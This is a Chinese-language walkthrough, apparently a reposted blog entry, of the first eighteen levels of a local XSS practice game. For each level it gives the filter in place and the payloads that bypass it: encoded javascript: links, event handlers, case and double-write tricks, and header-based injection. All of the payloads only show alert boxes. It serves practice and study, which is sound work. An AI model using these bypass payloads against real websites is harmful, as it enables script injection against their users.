XSS挑战之旅---游戏通关攻略
最近發現一個有趣的XSS闖關小游戲,游戲的作者是先知社區的大佬Mramydnei,喜歡XSS的大家可以一起來學習交流。
現在我把自己在前面的十八關里面的闖關過程記錄一下,大神繞行,我是菜鳥,大家可以一起學習,互相進步成長。
第一關,沒有任何疑問,簡單的不能再簡單,沒有任何過濾
輸入點在url里面,參數name
輸出點在頁面里面,沒有任何限制
所以可以構造payload
http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不錯!")</script>http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不錯!")</script>http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不錯!")</script>XSS挑戰之旅---level2
來到第二關,發現這次輸入點在界面和url里面都有了
輸出點還是在界面中
我們來嘗試進行XSS試探
test"><script>confirm("完成的不錯!")</script>發現神奇的彈窗了,好吧,來看看源代碼
顯而易見,上面尖括號被過濾了,而下面卻沒有
這樣的話,我們原來的payload是可以用的
test"><script>confirm("完成的不錯!")</script>test"><script>prompt("完成的不錯!")</script>test"><script>alert("完成的不錯!")</script>XSS挑戰之旅---level3
來到第三關,前面都比較簡單,就不具體敘述
輸入點輸出點見截圖
這里過濾了尖括號
我們用事件來彈窗啦
' oninput=alert`1` // ' oninput=alert`1` ' ' onchange=alert`1` // ' onchange=alert`1` 'XSS挑戰之旅---level4
第四關和第三關基本一樣,真搞不懂考察什么
無非就是把源碼里面單引號變成了雙引號,同樣事件彈窗
payload:
" onchange=alert`1` " " onchange=alert`1` // " oninput=alert`1` " " oninput=alert`1` //XSS挑戰之旅---level5
廢話不多說了,劇情還是原來的劇情
直接上源碼吧
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; } </script> <title>歡迎來到level5</title> </head> <body> <h1 align=center>歡迎來到level5</h1> <h2 align=center>沒有找到和test相關的結果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="test"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的長度:4</h3></body> </html>這次是on替換成了o_n script替換成了sc_ript
很明顯這是不讓我們用事件和script啊
不想多說了,我自己走了彎路
現在直接發我的payload:
"> <a href="javascript:%61lert(1)">click me</a> // "> <a href="javascript:alert('xss')">111</a> // "> <a href="javascript:alert(/1/)">axxx</a> //XSS挑戰之旅---level6
來到level6,這一關測試的主要是大小寫問題,可以用大小寫繞過技術
"> <Script>alert('handsome boy')</script> // "> <img Src=x OnError=alert('xss')> //有趣的事我自己用的編輯器也彈窗了,哈哈
XSS挑戰之旅---level7
來到第七關,這一關是針對script和on的過濾,我們可以構造來繞過
" oonninput=alert(1) " "> <scscriptript>alert`xss`</scscriptript> //XSS挑戰之旅---level8
來到了第八關,這一關難度加大,我們來繼續
首先,我們需要先來進行測試一番
測試代碼:
"'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p> ' "><img src=x onerror=alert(2) x=沒有過濾:' > < % & #
過濾了:" src on script data
就是這些了,唉,頭疼
輸出點1:
<input name=keyword value=""'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>">這個服了,直接放棄
輸出點2:
</center><center><BR><a href=""'%&#></scr_ipt><p class="o_nmouseover=" o_nmouseover="xx" o_nxxx="">xxx</p>">友情鏈接</a></center><center><img src=level8.jpg></center>a標簽內,href屬性中,很明顯,我們想到了協議繞過
Javascript:偽協議后面可以使用URL編碼。如:<a href="javascript:%61lert(1)">click me</a>可成功執行彈窗。可用img就不行:<img src=1 onerror="javascript:%61lert(1)">因為href屬性會跳轉到其中的URL,而會進行URL解碼,onerror屬性只會執行JS,不跳轉同時后面的url編碼可以再做一次entity(HTML實體)編碼:<a href="javascript:%61lert(1)">click me</a>ri ri
javascript:%61lert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1)XSS挑戰之旅---level9
本題目難點在于它會自動檢測url,如果發現沒有帶http:// 內容則會顯示不合法,那么應該如何繞過呢?
href必須帶著url!
javascript:alert(1)//http://www.0aa.me //利用注釋 javascript:%0dhttp://www.0aa.me%0dalert(1) //不能用注釋的情況下針對題目,我們可以適當修改一下
javascript:alert(1)//http://www.0aa.me javascript:%0dhttp://www.0aa.me%0dalert(1) //XSS挑戰之旅---level10
http://127.0.0.1/xss/level10.php?keyword=well done!
輸入點在url中,參數是keyword
首先測試以下過濾情況
' "><img src=x onerror=alert(2) x=群友大神給的payload:
url=&t_sort=" type="text" onclick="alert() http://127.0.0.1/xss/level10.php?keyword=888888&t_sort="; type="text" onclick="alert() http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="" onclick="alert() http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text" http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)XSS挑戰之旅---level11
我們從第十關走過來的,開始抓包,打開burp suit抓包看看
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)抓包以后觀察,我們發現refer參數會輸出到后面
修改refer參數就可以達到彈窗效果了
XSS挑戰之旅---level12
繼續抓包,這次參數在user-agent處,依照第11關的辦法抓包改包
XSS挑戰之旅---level13
來到了第十三關,這次修改的參數在cookie里面
XSS挑戰之旅---level14
查看源碼通過iframe標簽引入了一個http://exofvoewer.org, 結合烏云爆出的
漏洞,上傳一個含有xss代碼的圖片觸發xss。
exif xss
XSS挑戰之旅---level15
這里用了angularjs的ng-include,直接在包含的頁面里用<script>觸發不了,用了img標簽。
遵循SOP,只好調用第一關代碼。
需要單引號包裹,否則變成注釋。
paload:
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件。
包含的內容將作為指定元素的子節點。
ng-include 屬性的值可以是一個表達式,返回一個文件名。
默認情況下,包含的文件需要包含在同一個域名下。
<element ng-include="filename" onload="expression" autoscroll="expression" ></element> ```<ng-include src="filename" οnlοad="expression" autoscroll="expression" ></ng-include>
``` <body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>XSS挑戰之旅---level16
??http://127.0.0.1/xss//level16.php?keyword=test
過濾空格,script,/,使用%0d %0a做分割符
payload:
/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)> http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)> http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')> http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe> http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>XSS挑戰之旅---level17
輸入點在url,我們來尋找輸出點
不要被flash迷惑。
輸入點在url中,過濾了尖括號和雙引號,用on事件觸發。
payload:
/level17.php?arg01=a&arg02= onmouseover=alert(1) http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)XSS挑戰之旅---level18
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)感覺17題和18題沒啥區別啊
payload:
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1) http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1` http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`19關和20關屬于Flash XSS,這里不再贅述,有興趣的小伙伴們可以去深入學習。
源碼下載地址:https://github.com/xyongsec/xss-
總結
以上是生活随笔為你收集整理的XSS挑战之旅---游戏通关攻略的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: c语言结构体嵌套及输出,C语言结构体嵌套
- 下一篇: BLE芯片PHY6222---两路PWM